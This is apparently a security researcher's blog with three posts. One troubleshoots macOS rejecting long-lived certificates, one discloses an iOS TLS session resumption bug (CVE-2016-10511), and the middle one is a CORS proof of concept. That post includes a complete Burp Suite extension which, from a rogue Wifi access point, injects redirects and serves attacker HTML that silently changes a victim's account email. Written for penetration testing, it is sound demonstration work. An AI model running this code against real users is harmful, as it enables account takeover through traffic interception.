Certificate is not standards compliant on MacOS/iOS, error -9802, strict TLS Trust evaluation failed

This is a little rant about Apple and how they implemented their security checks around certificates. TL;DR: You can’t have a certificate that is valid for more than 825 days.

Like many others, I have a private trusted CA certificate installed on my MacOS. It’s in the keychain an marked as trusted. So far everything worked well, but one day I got error messages when connecting to a Jabber server (XMPP with Starttls). I got it for all software that used the MacOS TLS stack, but not for software like Firefox. So it had to be something Apple specific. The CA certificate was shown as trusted, the intermediate certificate was accepted, but the leaf certificate (certificate of the server) had an error tagged on to it:

certificate is not standards compliant

Wow, what a helpful error message! Now I definitely know what to do. So I started investigating what the problem could be. The first few hits you get when searching the web are totally red herrings, but I didn’t know at that time: crypto/x509: “certificate is not standards compliant” on MacOS and SSL certificate is not Standards compliant“. Of course after reading that I thought I knew what the problem was: The new certificate transparency rules.

Red herring: Certificate transparency

My CA doesn’t have a certificate transparency log, that would make sense I thought at first… but then read about how you have to apply at Apple to get on the list, which obviously isn’t what other people do as there were only official CAs on the list. Searching a little further you find some posts that say internal/private CAs are excluded from certificate transparency in Chrome. That makes sense, but what about Apple? Couldn’t find any information there. So just to debug this, let’s just try to get rid of Certificate Transparency on my local MacOS and see if that helps. How do you do that? Well, only via device management profiles (aka .mobileconfig file). I knew those from my MDM analysis days, so I fired up Apple Configurator to create a new profile. In the profile I was really able to set domains (wildcard-style) that should be excluded from certificate transparency, great! So I exported the profile to a .mobileconfig file and tried to install it. However, when trying to install it I got the following error:

Profile installation failed. A Certificate Transparency Settings payload can only be included in a device profile.

Try searching for that error message on the web. There wasn’t a single hit at the time of writing… So what’s a device profile? I vaguely remembered, but I had to look it up first. The documentation of Apple on how to install profiles didn’t help either. Then I thought maybe I need to sign the .mobileconfig to make it install as a device profile. So I took a random cert/private key from a trusted CA I had (yes, you can take any) and signed the .mobileconfig. It worked and it’s weird, but when you sign with any certificate, the profile is actually shown as “verified”. However, that didn’t help either, couldn’t install as device profile and I couldn’t remember how I used to do it. I searched for a while but couldn’t find a solution.

Unhelpful error messages

Ok, I was stuck there, it would take even more time to figure out how to install that device profile. Let’s go back to square one. So I checked the console for Safari (which only says “can’t established secure connection”) specific errors regarding the certificate “not being standards compliant”. I checked Wireshark (which was pointless, I know, I should only see an “encrypted alert” packet, but I was desperate). I copy pasted some swift code I could run in the “swift repl” interactive console to get an error message:

import Foundation

let url = URL(string: "https://foo.example.org/")!
let (data, _) = try await URLSession.shared.data(from: url)
print(data)

But the only unhelpful messages I got was:

2024-01-30 18:02:02.103330+0100 repl_swift[29733:501906] Connection 1: strict TLS Trust evaluation failed(-9802)
2024-01-30 18:02:02.103370+0100 repl_swift[29733:501906] Connection 1: TLS Trust encountered error 3:-9802
2024-01-30 18:02:02.103376+0100 repl_swift[29733:501906] Connection 1: encountered error(3:-9802)
2024-01-30 18:02:02.206271+0100 repl_swift[29733:501906] Connection 2: strict TLS Trust evaluation failed(-9802)
2024-01-30 18:02:02.206310+0100 repl_swift[29733:501906] Connection 2: TLS Trust encountered error 3:-9802
2024-01-30 18:02:02.206319+0100 repl_swift[29733:501906] Connection 2: encountered error(3:-9802)
2024-01-30 18:02:02.259575+0100 repl_swift[29733:501906] [boringssl] boringssl_context_handle_fatal_alert(1991) [C3.1.1.1:2][0x100307470] read alert, level: fatal, description: protocol version
2024-01-30 18:02:02.263724+0100 repl_swift[29733:501906] [boringssl] boringssl_session_handshake_incomplete(88) [C3.1.1.1:2][0x100307470] SSL library error
2024-01-30 18:02:02.263782+0100 repl_swift[29733:501906] [boringssl] boringssl_session_handshake_error_print(43) [C3.1.1.1:2][0x100307470] Error: 4328543672:error:1000042e:SSL routines:OPENSSL_internal:TLSV1_ALERT_PROTOCOL_VERSION:/AppleInternal/Library/BuildRoots/9ba9e62a-acc5-11ee-9f46-d64f9dd5e0b3/Library/Caches/com.apple.xbs/Sources/boringssl/ssl/tls_record.cc:594:SSL alert number 70
2024-01-30 18:02:02.263797+0100 repl_swift[29733:501906] [boringssl] nw_protocol_boringssl_handshake_negotiate_proceed(774) [C3.1.1.1:2][0x100307470] handshake failed at state 12288: not completed
2024-01-30 18:02:02.264613+0100 repl_swift[29733:501906] Connection 3: received failure notification
2024-01-30 18:02:02.264780+0100 repl_swift[29733:501906] Connection 3: failed to connect 3:-9836, reason -1
2024-01-30 18:02:02.264808+0100 repl_swift[29733:501906] Connection 3: encountered error(3:-9836)
2024-01-30 18:02:02.265218+0100 repl_swift[29733:501906] Task <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1> HTTP load failed, 0/0 bytes (error code: -1200 [3:-9836])
2024-01-30 18:02:02.269813+0100 repl_swift[29733:501905] Task <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1> finished with error [-1200] Error Domain=NSURLErrorDomain Code=-1200 "An SSL error has occurred and a secure connection to the server cannot be made." UserInfo={NSErrorFailingURLStringKey=https://foo.example.org/, NSLocalizedRecoverySuggestion=Would you like to connect to the server anyway?, _kCFStreamErrorDomainKey=3, _NSURLErrorFailingURLSessionTaskErrorKey=LocalDataTask <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1>, _NSURLErrorRelatedURLSessionTaskErrorKey=(
"LocalDataTask <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1>"
), NSLocalizedDescription=An SSL error has occurred and a secure connection to the server cannot be made., NSErrorFailingURLKey=https://foo.example.org/, NSUnderlyingError=0x600000c18600 {Error Domain=kCFErrorDomainCFNetwork Code=-1200 "(null)" UserInfo={_kCFStreamPropertySSLClientCertificateState=0, _kCFNetworkCFStreamSSLErrorOriginalValue=-9836, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9836, _NSURLErrorNWPathKey=satisfied (Path is satisfied), viable, interface: utun3, dns}}, _kCFStreamErrorCodeKey=-9836}

Please be aware that only the first three lines are relevant for our problem (TLS1.3 connection failing because “strict TLS Trust evaluation failed”) and that the error message is not helpful at all. A different error message indeed, but searching for that on the web didn’t help either. Everything after the first 3 lines is just boringssl having issues connecting with TLS1.0 etc. So this means there is no error that would help me figure it out, again. Thanks Apple.

Solution

So I asked on Mastodon and someone pointed out the following link: Requirements for trusted certificates in iOS 13 and macOS 10.15. Which had the solution: TLS server certificates must have a validity period of 825 days or fewer (as expressed in the NotBefore and NotAfter fields of the certificate). As soon as we changed to shorter certificate validity, the errors were gone.

All in all I would say this is a pretty bad example for Apple. Even though they say on their Technical Note TN2232 – HTTPS Server Trust Evaluation that you should never disable TLS verification. The openssl examples in there also don’t help in this case. I can see why developers would give up if they don’t get proper error messages with reasons included. Or error codes that can be looked up. Or documentation that easily tells you howto debug it and get details. Or just one single proper documentation what Apple’s view on “standards compliant certificate” could be.

Bad practice, dark pattern. There, I wrote it.

Cross-origin resource sharing: unencrypted origin trusted PoC

I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.

Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.

Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything and when I say anything, I mean anything. Let’s assume this “anything” is vulnerable.example.org (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is api.vulnerable.example.org (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?

The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).

We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?

  1. User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
  2. User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s completely-unrelated.example.org
  3. The browser automatically tries port 80 first on completely-unrelated.example.org
  4. iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
  5. Burp injects an iframe or redirects to the vulnerable.example.org (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
  6. The browser loads the iframe or follows the redirect
  7. Burp sees that the browser is requesting vulnerable.example.org (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
  8. The HTML payload runs in the vulnerable.example.org (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  9. The browser decides to send a CORS preflight request from the origin http://vulnerable.example.org (IMPERSONATED_DOMAIN) to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  10. api.vulnerable.example.org (ATTACKED_DOMAIN) allows CORS access for http://vulnerable.example.org (IMPERSONATED_DOMAIN)
  11. Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it

To make this a little bit more clear to you, the CORS preflight will be something like:

OPTIONS /preferences/email HTTP/1.1
Host: ATTACKED_DOMAIN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Origin: http://IMPERSONATED_DOMAIN
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

And the response from the vulnerable server will be similar to:

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN
Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:

ATTACKED_DOMAIN = "api.vulnerable.example.org" # This is the attacked domain, the one where the CORS headers are returned
IMPERSONATED_DOMAIN = "vulnerable.example.org" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header)
USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe
ATTACK_CODE = """
            				//Change email
            				var req2 = new XMLHttpRequest();
            		        req2.onload = reqListener;
            				req2.open('PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); 
            		        req2.setRequestHeader('Content-Type', 'application/json');
            		        req2.withCredentials = true;
            		        req2.send(JSON.stringify({"emailAddress":"attacker@example.org"}));
""" # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request):

# PUT /preferences/email HTTP/1.1
# Host: ATTACKED_DOMAIN
# Content-Type: application/json
# Content-Length: 39
# 
# {"emailAddress":"attacker@example.org"}

# End configuration

import re
import urllib
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpService

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        print "Extension loaded!"
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CORS non-TLS PoC")
        callbacks.registerHttpListener(self)
        self._end_head_regex = re.compile("</head>\s*<body.*?>")
        self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/"
        print "Extension registered!"

    def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse):
        iRequest = self._helpers.analyzeRequest(baseRequestResponse)
        if not messageIsRequest:
            print str(iRequest.getUrl())
            if str(iRequest.getUrl()) == self._iframe_url:
                # If it is a domain we want to attack, respond with the CORS payload
                print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN)
                body = """<html><body>
                    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />
                </body></html>"""
                response = """HTTP/1.1 200 OK
Date: Tue, 01 Jan 1970 08:42:42 GMT
Server: Floyds CORS Exploiter Server
Connection: close
Content-Type: text/html
Content-Length: {}

{}""".format(len(body), body)
                baseRequestResponse.setResponse(ps2jb(response))
            elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()):
                # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN
                print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN)
                response = jb2ps(baseRequestResponse.getResponse())
                if self._end_head_regex.search(response):
                    print "Found a matching HTML page that has the </head> and <body ...> in it."
                    iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse())
                    header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():]
                    if USE_IFRAME:
                        body = re.sub(self._end_head_regex,
                              '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url),
                              body)
                    else:
                        body = re.sub(self._end_head_regex,
                              '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />'.format(self._iframe_url, self._iframe_url),
                              body)
                    header = fix_content_length(header, len(body), "\r\n")
                    baseRequestResponse.setResponse(header + body)


def fix_content_length(headers, length, newline):
    h = list(headers.split(newline))
    for index, x in enumerate(h):
        if "content-length:" == x[:len("content-length:")].lower():
            h[index] = x[:len("content-length:")] + " " + str(length)
            return newline.join(h)
    else:
        print "WARNING: Couldn't find Content-Length header in request, simply adding this header"
        h.insert(1, "Content-Length: " + str(length))
        return newline.join(h)

def jb2ps(arr):
    return ''.join(map(lambda x: chr(x % 256), arr))

def ps2jb(arr):
    return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]

If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.

iOS TLS session resumption race condition (CVE-2016-10511)

Roughly three months ago when iOS 9 was still the newest version available for the iPhone, we encountered a bug in the Twitter iOS app. When doing a transparent proxy setup for one of our iOS app security tests, a Twitter HTTPS request turned up in the Burp proxy log. This should never happen, as the proxy’s HTTPS certificate is not trusted on iOS and therefore connections should be rejected. Being shocked, we checked that certainly we did not install the CA certificate of the proxy on the iPhone and verified with a second non-jailbroken iPhone. The bug was repoducible on iOS 9.3.3 and 9.3.5.

After opening a Hackerone bug report with Twitter I took some time to further investigate the issue. Changing the seemingly unrelated location of the DHCP server in our test setup from the interception device to the WiFi access point made the bug non-reproducible. Moving the DHCP server back to the interception device the issue was reproducible again. This could only mean this was a bug that needed exact timing of certain network related packets. After a lot of back and forth, I was certain that this has to be a race condition/thread safety problem.

Dissecting the network packets with Wireshark, I was able to spot the bug. It seems that if the server certificate in the server hello packet is invalid, the TLS session is not removed fast enough/in a thread safe manner from the TLS connection pool. If the race condition is triggered, this TLS session will be reused for another TLS connection (TLS session resumption). During the TLS session resumption the server hello packet will not include a server certificate. The TLS session is already trusted and the client has no second opportunity to check the server certificate. If an attacker is able to conduct such an attack, the authentication mechanism of TLS is broken, allowing extraction of sensitive OAuth tokens, redirecting the Twitter app via HTTP redirect messages and other traffic manipulations.

I was not able to reproduce the issue on iOS 10. Twitter additionally fixed the issue on their side in Twitter iOS version 6.44, but noted that this was probably related to an Apple bug. We did not further investigate the issue, but the assumption seems plausible.

The issue was rated high severity by Twitter. The entire details are published on Hackerone.

Update: CVE-2016-10511 was assigned to this security issue.